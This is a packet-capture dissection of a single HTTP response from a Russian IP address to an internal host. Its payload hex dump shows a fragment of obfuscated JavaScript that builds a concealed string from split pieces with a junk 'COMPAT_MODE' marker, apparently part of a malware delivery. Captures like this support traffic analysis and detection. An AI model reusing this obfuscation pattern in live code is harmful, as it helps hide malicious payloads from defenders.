Frame 180: Packet, 1328 bytes on wire (10624 bits), 1328 bytes captured (10624 bits)
    Encapsulation type: Ethernet (1)
    Arrival Time: Nov 21, 2017 01:00:43.507635000 UTC
    UTC Arrival Time: Nov 21, 2017 01:00:43.507635000 UTC
    Epoch Arrival Time: 1511226043.507635000
    [Time shift for this packet: 0.000000000 seconds]
    [Time delta from previous captured frame: 6.777000 milliseconds]
    [Time since reference or first frame: 37.641895000 seconds]
    Frame Number: 180
    Frame Length: 1328 bytes (10624 bits)
    Capture Length: 1328 bytes (10624 bits)
    [Frame is marked: False]
    [Frame is ignored: False]
    [Protocols in frame: eth:ethertype:ip:tcp:http:data]
    Character encoding: ASCII (0)
Ethernet II, Src: Netgear_8d:2e:93 (74:44:01:8d:2e:93), Dst: HewlettPacka_d7:16:7c (00:1a:4b:d7:16:7c)
    Destination: HewlettPacka_d7:16:7c (00:1a:4b:d7:16:7c)
        .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
        .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
    Source: Netgear_8d:2e:93 (74:44:01:8d:2e:93)
        .... ..0. .... .... .... .... = LG bit: Globally unique address (factory default)
        .... ...0 .... .... .... .... = IG bit: Individual address (unicast)
    Type: IPv4 (0x0800)
    [Stream index: 0]
Internet Protocol Version 4, Src: 109.120.150.110, Dst: 10.4.1.102
    0100 .... = Version: 4
    .... 0101 = Header Length: 20 bytes (5)
    Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT)
        0000 00.. = Differentiated Services Codepoint: Default (0)
        .... ..00 = Explicit Congestion Notification: Not ECN-Capable Transport (0)
    Total Length: 1314
    Identification: 0xc9b1 (51633)
    000. .... = Flags: 0x0
        0... .... = Reserved bit: Not set
        .0.. .... = Don't fragment: Not set
        ..0. .... = More fragments: Not set
    ...0 0000 0000 0000 = Fragment Offset: 0
    Time to Live: 128
    Protocol: TCP (6)
    Header Checksum: 0x5cd4 [validation disabled]
    [Header checksum status: Unverified]
    Source Address: 109.120.150.110
    Destination Address: 10.4.1.102
    [Source GeoIP: RU]
        [Source GeoIP Country: Russia]
        [Source or Destination GeoIP Country: Russia]
        [Source GeoIP ISO Two Letter Country Code: RU]
        [Source or Destination GeoIP ISO Two Letter Country Code: RU]
        [Source GeoIP Latitude: 55.7386]
        [Source or Destination GeoIP Latitude: 55.7386]
        [Source GeoIP Longitude: 37.6068]
        [Source or Destination GeoIP Longitude: 37.6068]
    [Stream index: 9]
Transmission Control Protocol, Src Port: 80, Dst Port: 49161, Seq: 68007, Ack: 1678, Len: 1274
    Source Port: 80
    Destination Port: 49161
    [Stream index: 4]
    [Stream Packet Number: 94]
    [Conversation completeness: Incomplete, DATA (15)]
        ..0. .... = RST: Absent
        ...0 .... = FIN: Absent
        .... 1... = Data: Present
        .... .1.. = ACK: Present
        .... ..1. = SYN-ACK: Present
        .... ...1 = SYN: Present
        [Completeness Flags: ··DASS]
    [TCP Segment Len: 1274]
    Sequence Number: 68007    (relative sequence number)
    Sequence Number (raw): 3620140422
    [Next Sequence Number: 69281    (relative sequence number)]
    Acknowledgment Number: 1678    (relative ack number)
    Acknowledgment number (raw): 2557490690
    0101 .... = Header Length: 20 bytes (5)
    Flags: 0x018 (PSH, ACK)
        000. .... .... = Reserved: Not set
        ...0 .... .... = Accurate ECN: Not set
        .... 0... .... = Congestion Window Reduced: Not set
        .... .0.. .... = ECN-Echo: Not set
        .... ..0. .... = Urgent: Not set
        .... ...1 .... = Acknowledgment: Set
        .... .... 1... = Push: Set
        .... .... .0.. = Reset: Not set
        .... .... ..0. = Syn: Not set
        .... .... ...0 = Fin: Not set
        [TCP Flags: ·······AP···]
    Window: 64240
    [Calculated window size: 64240]
    [Window size scaling factor: -2 (no window scaling used)]
    Checksum: 0x05a7 [unverified]
    [Checksum Status: Unverified]
    Urgent Pointer: 0
    [Timestamps]
        [Time since first frame in this TCP stream: 1.288765000 seconds]
        [Time since previous frame in this TCP stream: 6.777000 milliseconds]
    [SEQ/ACK analysis]
        [iRTT: 184.943000 milliseconds]
        [Bytes in flight: 1274]
        [Bytes sent since last PSH flag: 1274]
    [Client Contiguous Streams: 1]
    [Server Contiguous Streams: 1]
    TCP payload (1274 bytes)
Hypertext Transfer Protocol
    File Data: 1274 bytes
    Data (1274 bytes)

0000  31 7a 35 49 27 3b 67 6f 78 65 2b 3d 27 50 6a 4d   1z5I';goxe+='PjM
0010  50 39 31 27 3b 67 6f 78 65 2b 3d 27 6c 6e 78 68   P91';goxe+='lnxh
0020  33 31 5a 6d 52 27 3b 67 6f 78 65 2b 3d 27 76 65   31ZmR';goxe+='ve
0030  64 4a 7a 35 27 3b 67 6f 78 65 2b 3d 27 2f 58 68   dJz5';goxe+='/Xh
0040  2f 43 2f 34 56 6d 27 3b 67 6f 78 65 2b 3d 27 64   /C/4Vm';goxe+='d
0050  78 77 51 46 37 32 58 2b 66 27 3b 67 6f 78 65 2b   xwQF72X+f';goxe+
0060  3d 27 4d 39 4f 34 38 4c 6e 27 3b 67 6f 78 65 2b   ='M9O48Ln';goxe+
0070  3d 27 6f 49 2f 55 79 27 3b 67 6f 78 65 2b 3d 27   ='oI/Uy';goxe+='
0080  65 58 36 62 35 41 31 33 2b 27 3b 67 6f 78 65 2b   eX6b5A13+';goxe+
0090  3d 27 72 45 42 5a 70 27 3b 67 6f 78 65 2b 3d 27   ='rEBZp';goxe+='
00a0  78 68 77 64 62 4e 27 3b 67 6f 78 65 2b 3d 27 76   xhwdbN';goxe+='v
00b0  43 2b 74 43 4f 4d 50 41 54 27 3b 67 6f 78 65 2b   C+tCOMPAT';goxe+
00c0  3d 27 5f 4d 4f 44 45 44 6d 2b 27 3b 67 6f 78 65   ='_MODEDm+';goxe
00d0  2b 3d 27 41 4e 35 46 4c 6c 76 50 35 27 3b 67 6f   +='AN5FLlvP5';go
00e0  78 65 2b 3d 27 37 6e 4a 48 46 4e 4a 4f 76 4b 27   xe+='7nJHFNJOvK'
00f0  3b 67 6f 78 65 2b 3d 27 34 30 46 35 64 4f 62 54   ;goxe+='40F5dObT
0100  6f 7a 27 3b 67 6f 78 65 2b 3d 27 76 4b 6f 4f 72   oz';goxe+='vKoOr
0110  59 6d 30 7a 69 27 3b 67 6f 78 65 2b 3d 27 62 57   Ym0zi';goxe+='bW
0120  56 69 6c 7a 30 27 3b 67 6f 78 65 2b 3d 27 36 34   Vilz0';goxe+='64
0130  69 48 4d 2f 59 6b 47 27 3b 67 6f 78 65 2b 3d 27   iHM/YkG';goxe+='
0140  63 7a 31 6f 4a 53 27 3b 67 6f 78 65 2b 3d 27 31   cz1oJS';goxe+='1
0150  77 63 77 79 48 38 39 27 3b 67 6f 78 65 2b 3d 27   wcwyH89';goxe+='
0160  62 51 55 38 31 34 27 3b 67 6f 78 65 2b 3d 27 43   bQU814';goxe+='C
0170  30 58 6b 73 42 55 43 27 3b 67 6f 78 65 2b 3d 27   0XksBUC';goxe+='
0180  4f 4d 50 41 54 5f 4d 4f 44 27 3b 67 6f 78 65 2b   OMPAT_MOD';goxe+
0190  3d 27 45 58 48 68 63 73 59 4a 27 3b 67 6f 78 65   ='EXHhcsYJ';goxe
01a0  2b 3d 27 43 2b 46 6d 77 4d 30 4c 27 3b 67 6f 78   +='C+FmwM0L';gox
01b0  65 2b 3d 27 6f 39 67 51 59 27 3b 67 6f 78 65 2b   e+='o9gQY';goxe+
01c0  3d 27 78 6d 5a 43 4f 4d 50 41 54 5f 27 3b 67 6f   ='xmZCOMPAT_';go
01d0  78 65 2b 3d 27 4d 4f 44 45 44 7a 71 33 4a 27 3b   xe+='MODEDzq3J';
01e0  67 6f 78 65 2b 3d 27 4f 66 67 67 45 34 27 3b 67   goxe+='OfggE4';g
01f0  6f 78 65 2b 3d 27 72 4f 4a 57 73 67 64 58 5a 5a   oxe+='rOJWsgdXZZ
0200  27 3b 67 6f 78 65 2b 3d 27 48 50 71 32 7a 69 37   ';goxe+='HPq2zi7
0210  66 45 57 27 3b 67 6f 78 65 2b 3d 27 76 51 71 6b   fEW';goxe+='vQqk
0220  41 69 39 27 3b 67 6f 78 65 2b 3d 27 51 30 4c 4e   Ai9';goxe+='Q0LN
0230  45 6b 39 70 27 3b 67 6f 78 65 2b 3d 27 44 73 65   Ek9p';goxe+='Dse
0240  76 45 27 3b 67 6f 78 65 2b 3d 27 76 68 48 33 69   vE';goxe+='vhH3i
0250  27 3b 67 6f 78 65 2b 3d 27 54 5a 42 37 39 6d 4f   ';goxe+='TZB79mO
0260  53 73 27 3b 67 6f 78 65 2b 3d 27 48 47 73 56 6b   Ss';goxe+='HGsVk
0270  54 71 6e 27 3b 67 6f 78 65 2b 3d 27 63 53 51 59   Tqn';goxe+='cSQY
0280  48 6b 53 27 3b 67 6f 78 65 2b 3d 27 53 44 6f 63   HkS';goxe+='SDoc
0290  35 49 2b 27 3b 67 6f 78 65 2b 3d 27 4d 71 52 6e   5I+';goxe+='MqRn
02a0  43 74 33 65 47 34 27 3b 67 6f 78 65 2b 3d 27 57   Ct3eG4';goxe+='W
02b0  76 51 65 63 37 67 27 3b 67 6f 78 65 2b 3d 27 43   vQec7g';goxe+='C
02c0  4f 4d 50 41 27 3b 67 6f 78 65 2b 3d 27 54 5f 4d   OMPA';goxe+='T_M
02d0  4f 44 27 3b 67 6f 78 65 2b 3d 27 45 58 4d 48 58   OD';goxe+='EXMHX
02e0  5a 69 52 71 4f 27 3b 67 6f 78 65 2b 3d 27 36 65   ZiRqO';goxe+='6e
02f0  47 66 73 27 3b 67 6f 78 65 2b 3d 27 57 47 4a 47   Gfs';goxe+='WGJG
0300  38 27 3b 67 6f 78 65 2b 3d 27 63 38 6d 36 74 42   8';goxe+='c8m6tB
0310  4b 27 3b 67 6f 78 65 2b 3d 27 50 59 50 46 42 77   K';goxe+='PYPFBw
0320  6e 4b 35 27 3b 67 6f 78 65 2b 3d 27 6d 65 47 4d   nK5';goxe+='meGM
0330  63 35 59 43 27 3b 67 6f 78 65 2b 3d 27 59 38 68   c5YC';goxe+='Y8h
0340  62 78 33 27 3b 67 6f 78 65 2b 3d 27 78 65 59 79   bx3';goxe+='xeYy
0350  63 27 3b 67 6f 78 65 2b 3d 27 72 55 2b 54 4d 37   c';goxe+='rU+TM7
0360  53 34 4b 27 3b 67 6f 78 65 2b 3d 27 52 75 69 6a   S4K';goxe+='Ruij
0370  74 2b 67 32 56 46 27 3b 67 6f 78 65 2b 3d 27 47   t+g2VF';goxe+='G
0380  67 78 36 59 47 27 3b 67 6f 78 65 2b 3d 27 58 4c   gx6YG';goxe+='XL
0390  73 36 43 47 68 27 3b 67 6f 78 65 2b 3d 27 43 4f   s6CGh';goxe+='CO
03a0  4d 50 41 54 5f 4d 27 3b 67 6f 78 65 2b 3d 27 4f   MPAT_M';goxe+='O
03b0  44 45 41 4e 4a 4f 27 3b 67 6f 78 65 2b 3d 27 6f   DEANJO';goxe+='o
03c0  2b 77 72 49 32 45 6c 47 27 3b 67 6f 78 65 2b 3d   +wrI2ElG';goxe+=
03d0  27 35 77 31 31 43 4f 27 3b 67 6f 78 65 2b 3d 27   '5w11CO';goxe+='
03e0  4d 50 41 54 5f 4d 27 3b 67 6f 78 65 2b 3d 27 4f   MPAT_M';goxe+='O
03f0  44 45 5a 56 73 27 3b 67 6f 78 65 2b 3d 27 55 36   DEZVs';goxe+='U6
0400  67 6e 55 69 58 6b 71 4c 27 3b 67 6f 78 65 2b 3d   gnUiXkqL';goxe+=
0410  27 75 38 73 56 68 6a 51 69 65 27 3b 67 6f 78 65   'u8sVhjQie';goxe
0420  2b 3d 27 5a 64 73 74 67 45 76 27 3b 67 6f 78 65   +='ZdstgEv';goxe
0430  2b 3d 27 57 57 37 42 4b 78 55 6f 27 3b 67 6f 78   +='WW7BKxUo';gox
0440  65 2b 3d 27 68 72 4c 7a 58 5a 6c 43 27 3b 67 6f   e+='hrLzXZlC';go
0450  78 65 2b 3d 27 4f 4d 50 41 54 5f 4d 4f 44 27 3b   xe+='OMPAT_MOD';
0460  67 6f 78 65 2b 3d 27 45 4c 52 70 6f 76 27 3b 67   goxe+='ELRpov';g
0470  6f 78 65 2b 3d 27 4c 6f 70 55 47 27 3b 67 6f 78   oxe+='LopUG';gox
0480  65 2b 3d 27 5a 43 77 62 43 4f 27 3b 67 6f 78 65   e+='ZCwbCO';goxe
0490  2b 3d 27 4d 50 41 54 5f 4d 4f 27 3b 67 6f 78 65   +='MPAT_MO';goxe
04a0  2b 3d 27 44 45 5a 49 51 27 3b 67 6f 78 65 2b 3d   +='DEZIQ';goxe+=
04b0  27 43 4f 4d 50 41 54 27 3b 67 6f 78 65 2b 3d 27   'COMPAT';goxe+='
04c0  5f 4d 4f 44 45 68 2b 27 3b 67 6f 78 65 2b 3d 27   _MODEh+';goxe+='
04d0  5a 77 36 2b 77 7a 34 47 71 4d 27 3b 67 6f 78 65   Zw6+wz4GqM';goxe
04e0  2b 3d 27 34 2b 57 51 56 39 49 47 71 27 3b 67 6f   +='4+WQV9IGq';go
04f0  78 65 2b 3d 27 4a 73 54 43 4f                     xe+='JsTCO
        Data […]: 317a3549273b676f78652b3d27506a4d503931273b676f78652b3d276c6e786833315a6d52273b676f78652b3d277665644a7a35273b676f78652b3d272f58682f432f34566d273b676f78652b3d2764787751463732582b66273b676f78652b3d274d394f34384c6e273b676f78652b3d2
        [Length: 1274]
